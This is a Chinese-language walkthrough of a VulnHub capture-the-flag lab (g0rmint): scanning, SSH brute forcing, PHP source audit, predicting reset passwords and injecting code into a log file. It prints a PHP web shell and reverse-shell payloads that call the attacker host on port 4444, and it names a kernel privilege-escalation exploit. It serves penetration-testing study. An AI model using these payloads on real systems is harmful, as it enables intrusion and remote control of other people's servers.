【vulnhub】---g0rmint靶机

    技术2025-03-22  24

    目录

    一、实验环境 二、信息收集 三、渗透测试   1、漏洞发现和利用   2、提权 四、总结


    一、实验环境

    靶机:g0rmint靶机(192.168.15.156)

    攻击机:kali Linux(192.168.15.129)


    二、信息收集

    主机发现 命令:nmap -sn 192.168.15.0/24 命令:arp-scan -l 命令:netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 命令:masscan --rate=10000 --port 0-65535 192.168.15.156 版本探测和操作系统识别 命令:nmap -A -p 80,22 192.168.15.156 web指纹识别 命令:whatweb -v http://192.168.15.156 网站目录扫描 命令:dirb http://192.168.15.156 也可以用dirbuster 收集到的有用信息

    IP => 192.168.15.156开放的端口 22 => ssh服务 — OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)80 => http服务 — Apache httpd 2.4.18 linux_kernel => 3/4OS => linux(Ubuntu) 3.2 - 4.9Apache => 2.4.18扫描出来的网站的目录

    三、渗透测试

    1、漏洞发现和利用 首先试一试22端口的ssh服务 ssh服务确实存在,试了几个弱口令均失败,接下来试试对其进行爆破,命令: hydra -L 用户名字典 -P 密码字典 -o ssh.txt -vV -t 10 192.168.15.156 ssh -s 22 爆破也以失败告终,这里还可以用 msfconsole来进行爆破,设置过程如下图 这里也是爆破失败的,接下来我们尝试走web端,访问主页什么都没有,应该是靶机没有写主页 我们继续搜刮资源,在这里找到了一个目录 访问一下,得到了一个登录的界面 这里弱口令、万能密码、sql注入、命令执行、XSS、爆破均已失败告终。在审计前端的代码时发现里有用的东西 backup-directory的意思是:备份目录, content中的内容应该就是备份目录的名字,但是不论我怎么拼接这访问都是 NOT Found。这时应该想到继续递归进行目录扫描。命令: dirb http://192.168.15.156/g0rmint/s3cretbackupdirect0ry/ 访问之后显示backup.zip。这应该是一个压缩文件,再在url的后面拼接它 我们这里下载该文件 解压之后得到了如下所示的文件 通过对这三个文件的审计我们可以知道,错误的登录 type email中的内容会被写入到一个日志文件中 在 config.php中我们可以得到日志文件的目录和名字,目录是: http://192.168.15.156/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2020-07-04.php 这里写一个php代码 访问上面得到的日志文件目录看看是否可以解析,我们发现无法解析,访问之后页面会回到登录的界面。这是由于日志文件中有 session_start()函数导致的,他会验证session因此我们必须要先登录才可以。我们再在文件中找找其他的资源。在 db.sql文件中找到了一个貌似是用户名和密码的东西,md5穷举之后得到了demo,但是用 demo@example.com:demo登录失败了,还得接着找资源。 在审计到reset.php文件时我们发现了一些有趣的东西 相关函数

    gmdate("l jS \of F Y h:i:s A") —输出周几、日、月、年,时间,上午或下午

    这段代码说明了不论是哪个用户修改密码,他得到的新的密码都是由gmdate()函数得到的时间字符串经过sha1摘要,最后取前20位,作为密码。现在我们只需要找到一个邮箱和用户名即可。那怎么找呢,参考了网上大佬的博客得知可以在所有的文件中搜索email,这种操作很奇特。。。 我们给该用户修改密码 对字符串Saturday 4th of July 2020 01:01:19 PM进行sha1摘要 得到的w3bdrill3r@gmail.com的密码为f75f1f2974cb5ecdbbc2,我们尝试登录 登录成功了,此时我们就可用访问到日志文件了 之前写入的php代码也解析成功了,接下来就是getshell了,经过本人亲测直接写入下面这样的php代码来getshell是失败的: <?php $sock=fsockopen("192.168.15.129",4444);exec("/bin/sh -i <&3 >&3 2>&3");?> 或者是它,也是失败的。 <?php system("echo 'bash -i >&/dev/tcp/192.168.15.129/4444 0>&1' | bash");?> 这里我们要写入一个可以执行系统命令的php代码:<?php system($_GET[cmd]);?> 然后我们访问日志文件,就可以执行系统命令了 我们在kali中开启apache服务,通过wget命令给靶机中下载反弹shell文件,并执行 在kali中监听后getshell成功 这里使用其他的代码也可以geshell成功 下面的这个也可以

    2、提权 接下来进行提权 该靶机 Ubuntu的版本是16.04.3之前做过一个Node靶机也是这个版本的,该版本存在一个提权漏洞 44298.c我们下载该代码即可进行提权 由于该靶机中没有gcc命令我们需要在kali中编译之后再下载到靶机上 但是这里出现了问题 这是由于编译环境的问题,我们应该找一个也是 ubuntu 16.04的靶机来进行编译 编译好了之后给靶机上下载exe文件,然后下载执行即可提权成功。(PS:我这里提权没有成功,应该是因为我的靶机是 16.04.6的,不是 16.04.3的,本人懒癌犯了,懒得下了,就这样了。。。感兴趣的道友可以下载16.04.3的Ubuntu应该就可了)


    四、总结

    渗透步骤

    1、开放22端口和80端口,22端口无法利用,走80端口。2、找到了一个登录界面,常规的手法都无法攻破。审计登录界面的前端代码得到了一个备份目录。3、对备份目录进行递归扫描,得到了网站的源码文件。4、对源码文件进行审计可知错误的登录尝试会被写入到一个日志文件中,要访问该日志文件的前提是要登录成功。5、在所有的源码文件中扫描email可得一个邮箱和用户名,用得到的邮箱和用户名可以重置密码,通过对源码审计我们可知重置之后的密码是可以推算出来的。6、用邮箱和重置之后的密码登录成功。再在登录界面中写入执行系统命令的php代码,然后访问日志文件代码解析成功。7、通过此getshell成功。8、提权用的是版本漏洞,注意gcc编译时的环境。 知识点backup-directory是备份目录的意思。注意对得到的目录再次进行目录扫描。提升自己审计php代码的能力。
    Processed: 0.010, SQL: 9